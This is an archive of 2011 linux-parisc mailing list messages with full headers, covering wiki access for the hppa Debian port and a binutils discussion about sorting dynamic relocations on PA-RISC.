Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 08:32:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfR5Y-0004zG-Bq
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 08:32:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752512Ab1GIGc1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Jul 2011 02:32:27 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:63688 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751873Ab1GIGc1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Jul 2011 02:32:27 -0400
Original-Received: by iyb12 with SMTP id 12so2333516iyb.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 23:32:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=JF3vHbJiuybf/vxe+yUBYThtDV07jSeC2HGHgXFkmc4=;
        b=wLtKHhIXeIg+a+b9s4MgWxz4TiGaBvUQDZDnquvUrIwL0MS2Brlg/jkfPEXhHEATPz
         syHAtQXPQDR9RJi1scX418xUsVV5DjQ/m3zQX2L7ZzO78DAE4e5MxvDztbjJ7JZczo0f
         ofgipz2MjIXIsByhY9hzM6syokPMEfq/3sbe8=
Original-Received: by 10.42.142.131 with SMTP id s3mr2150568icu.80.1310193146155; Fri,
 08 Jul 2011 23:32:26 -0700 (PDT)
Original-Received: by 10.42.213.134 with HTTP; Fri, 8 Jul 2011 23:32:06 -0700 (PDT)
In-Reply-To: <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com>
X-Google-Sender-Auth: 4wr1bo958REqmGq_Iw5iONYvwT0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3871 gmane.linux.debian.ports.hppa:6693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3871>

On Fri, Jul 8, 2011 at 18:21, Thibaut VARENE wrote:
> On Fri, Jul 8, 2011 at 11:30 PM, Mike Frysinger wrote:
>> On Friday, July 08, 2011 16:54:32 Mike Frysinger wrote:
>>> On Friday, July 08, 2011 16:29:15 Carlos O'Donell wrote:
>>> > The current status of hppa on debian-ports is available here:
>>> >
>>> > http://wiki.parisc-linux.org/Debian_Ports
>>>
>>> the page is apparently marked immutable, otherwise i'd fix the typo=
:
>>> =A0 =A0 =A0 Not a debian developers.
>>
>> or maybe it's just my new account as all pages seem to be immutable =
=2E..
>
> What's your username?

it said to use first/last name, so i'm MikeFrysinger

> As explained here:
> http://wiki.parisc-linux.org/WikiAccessPolicy
>
> Someone already on the wiki needs to add you to the ACL.

is there really a spam problem to not open it up to registered users ?
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sat, 9 Jul 2011 11:07:03 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <CA+DQjFgSd9uOLX+kvu=haqbaGdFwHa-faLNx1wA=3fs3DxeE9Q@mail.gmail.com>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org>
 <201107081730.44289.vapier@gentoo.org> <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com>
 <CAJaTeTpJBRz_9Fpg9N+tDfDxB-yWEs4dTmh4yW1Uz50N+34qiQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310202454 5124 80.91.229.12 (9 Jul 2011 09:07:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jul 2011 09:07:34 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 11:07:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfTVX-0002A9-Er
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 11:07:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751886Ab1GIJHZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Jul 2011 05:07:25 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:52711 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751826Ab1GIJHY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Jul 2011 05:07:24 -0400
Original-Received: by gxk21 with SMTP id 21so1028288gxk.19
        for <linux-parisc@vger.kernel.org>; Sat, 09 Jul 2011 02:07:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=ChF6i9P5VYBqjo4Xnx/pcSY/J1SuVV7XlrMJLRGUzlw=;
        b=P6vOxjvg1jPLrWuk2L+rtfL61UyfDvbQp7tYD407aNi1jAKkt9Zp9C5gx8mvMSLBwM
         7CUKomdc8ag8cs/XyEqujyUVhbpt/R7iizJwxMMwPeWkKAxNoZqFSgwx298/GKUxqmQB
         WMK5zQnnoww4jTZO0UF59a6Kjd/Zi+o40BGt8=
Original-Received: by 10.151.107.1 with SMTP id j1mr1912112ybm.65.1310202443148; Sat,
 09 Jul 2011 02:07:23 -0700 (PDT)
Original-Received: by 10.151.110.7 with HTTP; Sat, 9 Jul 2011 02:07:03 -0700 (PDT)
In-Reply-To: <CAJaTeTpJBRz_9Fpg9N+tDfDxB-yWEs4dTmh4yW1Uz50N+34qiQ@mail.gmail.com>
X-Google-Sender-Auth: 27x4pzNmqF3tkvZTfTc85k2YtZo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3872 gmane.linux.debian.ports.hppa:6694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3872>

On Sat, Jul 9, 2011 at 8:32 AM, Mike Frysinger <vapier@gentoo.org> wrot=
e:
> On Fri, Jul 8, 2011 at 18:21, Thibaut VARENE wrote:
>> On Fri, Jul 8, 2011 at 11:30 PM, Mike Frysinger wrote:
>>> On Friday, July 08, 2011 16:54:32 Mike Frysinger wrote:
>>>> On Friday, July 08, 2011 16:29:15 Carlos O'Donell wrote:
>>>> > The current status of hppa on debian-ports is available here:
>>>> >
>>>> > http://wiki.parisc-linux.org/Debian_Ports
>>>>
>>>> the page is apparently marked immutable, otherwise i'd fix the typ=
o:
>>>> =C2=A0 =C2=A0 =C2=A0 Not a debian developers.
>>>
>>> or maybe it's just my new account as all pages seem to be immutable=
 ...
>>
>> What's your username?
>
> it said to use first/last name, so i'm MikeFrysinger

Added.

>> As explained here:
>> http://wiki.parisc-linux.org/WikiAccessPolicy
>>
>> Someone already on the wiki needs to add you to the ACL.
>
> is there really a spam problem to not open it up to registered users =
?

No. The WikiAccessPolicy page is full of lies and this system is only
there to annoy people...
:-/

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sat, 9 Jul 2011 05:16:58 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <CAJaTeTrw9OqyiR3DorQAc4SmBRwfsyaZ7C=c4hzdhy50ShX9Kg@mail.gmail.com>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org>
 <201107081730.44289.vapier@gentoo.org> <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com>
 <CAJaTeTpJBRz_9Fpg9N+tDfDxB-yWEs4dTmh4yW1Uz50N+34qiQ@mail.gmail.com> <CA+DQjFgSd9uOLX+kvu=haqbaGdFwHa-faLNx1wA=3fs3DxeE9Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1310203045 8075 80.91.229.12 (9 Jul 2011 09:17:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jul 2011 09:17:25 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 11:17:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfTf6-0007IU-6S
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 11:17:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751826Ab1GIJRT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Jul 2011 05:17:19 -0400
Original-Received: from mail-iw0-f174.google.com ([209.85.214.174]:44023 "EHLO
	mail-iw0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751615Ab1GIJRS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Jul 2011 05:17:18 -0400
Original-Received: by iwn6 with SMTP id 6so2370381iwn.19
        for <linux-parisc@vger.kernel.org>; Sat, 09 Jul 2011 02:17:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=Knmx4nFzJuABg3wC0wRGAAjsONM5sieKMRYps8geZ24=;
        b=Wk+8ZAtWFIy6YAozMOleQUzXxnPOCLPJ7DqdBs0X7cn4pfn0wd+aQcTb+2mQQb4R34
         9bwuXwXCK10q8Z6Vfn6lQm3BEFeJYGTYULb/k7rdsXEQUZBUq85MmxczcPHHH7l1BP4b
         nQMWL1h3c1+CHODV+ZXtpw2AhLDlLhDs1FgSM=
Original-Received: by 10.42.39.18 with SMTP id f18mr3034896ice.281.1310203038108; Sat,
 09 Jul 2011 02:17:18 -0700 (PDT)
Original-Received: by 10.42.213.134 with HTTP; Sat, 9 Jul 2011 02:16:58 -0700 (PDT)
In-Reply-To: <CA+DQjFgSd9uOLX+kvu=haqbaGdFwHa-faLNx1wA=3fs3DxeE9Q@mail.gmail.com>
X-Google-Sender-Auth: m0QAh0YAO8VRHOqBjnBjHXisjUI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3873 gmane.linux.debian.ports.hppa:6695
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3873>

On Sat, Jul 9, 2011 at 05:07, Thibaut VARENE wrote:
> On Sat, Jul 9, 2011 at 8:32 AM, Mike Frysinger wrote:
>> On Fri, Jul 8, 2011 at 18:21, Thibaut VARENE wrote:
>>> What's your username?
>>
>> it said to use first/last name, so i'm MikeFrysinger
>
> Added.

thanks

>>> As explained here:
>>> http://wiki.parisc-linux.org/WikiAccessPolicy
>>>
>>> Someone already on the wiki needs to add you to the ACL.
>>
>> is there really a spam problem to not open it up to registered users ?
>
> No. The WikiAccessPolicy page is full of lies and this system is only
> there to annoy people...
> :-/

ah, well i hope the source of these lies is punished severely ;x
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Sat, 9 Jul 2011 11:08:12 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <6957FCF8-0667-4DEF-8134-EACB33D47A13@bell.net>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com> <4E15F06E.8040601@bell.net> <CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310224713 16499 80.91.229.12 (9 Jul 2011 15:18:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jul 2011 15:18:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 09 17:18:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfZIa-0003BY-BB
	for glpp-linux-parisc@lo.gmane.org; Sat, 09 Jul 2011 17:18:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754017Ab1GIPS0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Jul 2011 11:18:26 -0400
Original-Received: from toip3.srvr.bell.ca ([209.226.175.86]:49935 "EHLO
	toip3.srvr.bell.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754002Ab1GIPS0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Jul 2011 11:18:26 -0400
X-Greylist: delayed 596 seconds by postgrey-1.27 at vger.kernel.org; Sat, 09 Jul 2011 11:18:26 EDT
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: ApIBANJsGE6uXFXx/2dsb2JhbAAMR7FCww2FW18EklSQYw
Original-Received: from bas1-ottawa09-2925286897.dsl.bell.ca (HELO [192.168.2.10]) ([174.92.85.241])
  by toip3.srvr.bell.ca with ESMTP; 09 Jul 2011 11:08:27 -0400
In-Reply-To: <CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3874>


On 7-Jul-11, at 7:13 PM, Carlos O'Donell wrote:

> On Thu, Jul 7, 2011 at 1:44 PM, John David Anglin <dave.anglin@bell.net 
> > wrote:
>> On 7/7/2011 11:29 AM, Carlos O'Donell wrote:
>>>
>>> Dave,
>>>
>>> FYI.
>>>
>>> PA should be sorting relocations in .rlea.dyn such that realtive
>>> relocations (DIR32) are listed first before opd relocs (PLABEL32).
>>
>> I imagine that this shouldn't be too hard to implement.


As far as I can tell, most targets don't sort dynamic relocations.   
The exceptions
that I see are mips and score.  Doing this will increase link time, so  
I tend to think
it should be avoided if possible.  Isn't the dynamic loader a special  
case?

Have you tried the ld "-z combreloc" option to see if that works?  It  
combines
reloc sections and sorts them.

If "-z combreloc" doesn't produce the right order, then we will need  
something
similar to elf_hppa_sort_unwind().  elfxx-mips.c has a compare function
sort_dynamic_relocs.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Sun, 10 Jul 2011 21:27:26 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <CADZpyiwLzQmQRHM0VOgfc7hxT3ZdXBuchb64O3v2poYMTC93oA@mail.gmail.com>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>
	<4E15F06E.8040601@bell.net>
	<CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>
	<6957FCF8-0667-4DEF-8134-EACB33D47A13@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1310347654 31341 80.91.229.12 (11 Jul 2011 01:27:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 11 Jul 2011 01:27:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 11 03:27:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qg5HU-0005Ds-Sf
	for glpp-linux-parisc@lo.gmane.org; Mon, 11 Jul 2011 03:27:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754813Ab1GKB12 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Jul 2011 21:27:28 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:64592 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754624Ab1GKB11 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Jul 2011 21:27:27 -0400
Original-Received: by ewy4 with SMTP id 4so1199373ewy.19
        for <linux-parisc@vger.kernel.org>; Sun, 10 Jul 2011 18:27:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=SfWvBFe/ymZvPg2zGPCMCZEYG2sezNqnIIDzcBfGhkg=;
        b=rYRla/CCe7BoX1PjbYPaBup2OePvwpmvCzo/o3iE9NQrt5Wc6lEOnQoux4AP/yQkDn
         Za7YPRFdgWbTnYFo4Ff0vQn9cP5YY+TObugHo5kqXScpH9BrXnfllb4+JgBYmCBJIq07
         VAPWezSYDRs+rgMUyRCdx+sZYOJgc2je/GvMg=
Original-Received: by 10.14.148.130 with SMTP id v2mr1186051eej.249.1310347646295; Sun,
 10 Jul 2011 18:27:26 -0700 (PDT)
Original-Received: by 10.14.97.80 with HTTP; Sun, 10 Jul 2011 18:27:26 -0700 (PDT)
In-Reply-To: <6957FCF8-0667-4DEF-8134-EACB33D47A13@bell.net>
X-Google-Sender-Auth: X2R4eyrSZ-chCt2TLprw5OHdZ9k
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3875>

On Sat, Jul 9, 2011 at 11:08 AM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> As far as I can tell, most targets don't sort dynamic relocations. =A0=
The
> exceptions that I see are mips and score. =A0Doing this will increase=
 link time, so I
> tend to think it should be avoided if possible. =A0Isn't the dynamic =
loader a special case?

Ulrich Drepper says that relative relocations must *always* be first,
it doesn't require a complete sort.

The dynamic loader is a special case, but there are some requirements.

> Have you tried the ld "-z combreloc" option to see if that works? =A0=
It
> combines reloc sections and sorts them.

I haven't tried that yet, are you saying we should change binutils to
*default* to "-z combreloc?"

> If "-z combreloc" doesn't produce the right order, then we will need
> something similar to elf_hppa_sort_unwind(). =A0elfxx-mips.c has a co=
mpare function
> sort_dynamic_relocs.

That sounds like a good place to start if the latter fails.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Sun, 10 Jul 2011 23:30:49 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20110711053049.GC29070@parisc-linux.org>
References: <4E17689B.2090604@systemhalted.org> <201107081654.33542.vapier@gentoo.org> <201107081730.44289.vapier@gentoo.org> <CA+DQjFigFMHXAuxHk=tPTThF4xBwv6ae9bQq2nY6KfHJo7y+ow@mail.gmail.com> <CAJaTeTpJBRz_9Fpg9N+tDfDxB-yWEs4dTmh4yW1Uz50N+34qiQ@mail.gmail.com> <CA+DQjFgSd9uOLX+kvu=haqbaGdFwHa-faLNx1wA=3fs3DxeE9Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1310362258 31309 80.91.229.12 (11 Jul 2011 05:30:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 11 Jul 2011 05:30:58 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 11 07:30:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qg952-0002qk-On
	for glpp-linux-parisc@lo.gmane.org; Mon, 11 Jul 2011 07:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756176Ab1GKFav (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jul 2011 01:30:51 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:44698 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755834Ab1GKFav (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jul 2011 01:30:51 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id BD75D49400D; Sun, 10 Jul 2011 23:30:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <CA+DQjFgSd9uOLX+kvu=haqbaGdFwHa-faLNx1wA=3fs3DxeE9Q@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3876 gmane.linux.debian.ports.hppa:6696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3876>

On Sat, Jul 09, 2011 at 11:07:03AM +0200, Thibaut VARENE wrote:
...
> > is there really a spam problem to not open it up to registered users ?
> 
> No. The WikiAccessPolicy page is full of lies and this system is only
> there to annoy people...
> :-/

Sorry Mike. We did have a real spam problem with the wiki several
few years ago. IIRC it was someone from China was getting paid to
place links and abused parisc-linux wiki in the process.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sort output dynamic relocations.
Date: Mon, 11 Jul 2011 09:33:13 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <4E1AFB99.5090402@bell.net>
References: <CADZpyiyS2m9cc=RuUg+DOc3xfEMFOAfdYWwFLbjDTUmgqtnDsQ@mail.gmail.com>	<4E15F06E.8040601@bell.net>	<CADZpyixAMSZaNY_cU09MEz+bbH4yUvyGxcmZxbiAqJU4hK-7WQ@mail.gmail.com>	<6957FCF8-0667-4DEF-8134-EACB33D47A13@bell.net> <CADZpyiwLzQmQRHM0VOgfc7hxT3ZdXBuchb64O3v2poYMTC93oA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310391201 30070 80.91.229.12 (11 Jul 2011 13:33:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 11 Jul 2011 13:33:21 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 11 15:33:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QgGbr-0004Iv-QN
	for glpp-linux-parisc@lo.gmane.org; Mon, 11 Jul 2011 15:33:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757399Ab1GKNdO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jul 2011 09:33:14 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:60803 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
